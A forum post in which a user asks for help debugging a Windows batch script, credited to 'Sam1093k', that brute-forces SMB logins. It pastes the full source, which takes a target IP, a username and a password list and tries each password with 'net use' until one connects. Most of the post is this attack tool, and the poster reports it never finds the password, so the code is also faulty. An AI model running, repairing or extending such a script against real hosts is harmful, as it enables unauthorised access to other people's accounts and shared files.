hi guys, I was trying the SMB bruteforce, only that every time I use it it tells me that the password was not found, but I'm sure I put it on the passlist and that it's right, some help?
here che source:
REM SETUP
@echo off
title SMB Bruteforce - by Sam1093k
mode con cols=120 lines=30
chcp 65001 >nul
cls
CALL :LOGO
pause >nul
REM LOGO
:LOGO
echo.
echo.
echo [38;5;22m██████ ███▄ ▄███▓ ▄▄▄▄[0m
echo [38;5;22m▒██ ▒ ▓██▒▀█▀ ██▒▓█████▄[0m
echo [38;5;22m░ ▓██▄ ▓██ ▓██░▒██▒ ▄██[0m
echo [38;5;22m▒ ██▒▒██ ▒██ ▒██░█▀[0m
echo [38;5;22m▒██████▒▒▒██▒ ░██▒░▓█ ▀█▓[0m
echo [38;5;22m▒ ▒▓▒ ▒ ░░ ▒░ ░ ░░▒▓███▀▒[0m
echo [38;5;22m░ ░▒ ░ ░░ ░ ░▒░▒ ░[0m
echo [38;5;22m░ ░ ░ ░ ░ ░ ░[0m
echo [38;5;22m░ ░ ░[0m
echo [38;5;22m░[0m
echo.
echo.
color A
set /p ip="Enter IP Address: "
set /p user="Enter Username: "
set /p wordlist="Enter Password List: "
set /a count=1
for /f %%a in (%wordlist%) do (
set pass=%%a
call :attempt
)
echo Password not Found :(
pause
exit
:success
echo.
echo Password Found! %pass%
net use \\%ip% /d /y >nul 2>&1
pause
exit
:attempt
net use \\%ip% /user:%user% %pass% >nul 2>&1
echo [ATTEMPT %count%] [%pass%]
set /a count=%count%+1
if %errorlevel% EQU 0 goto success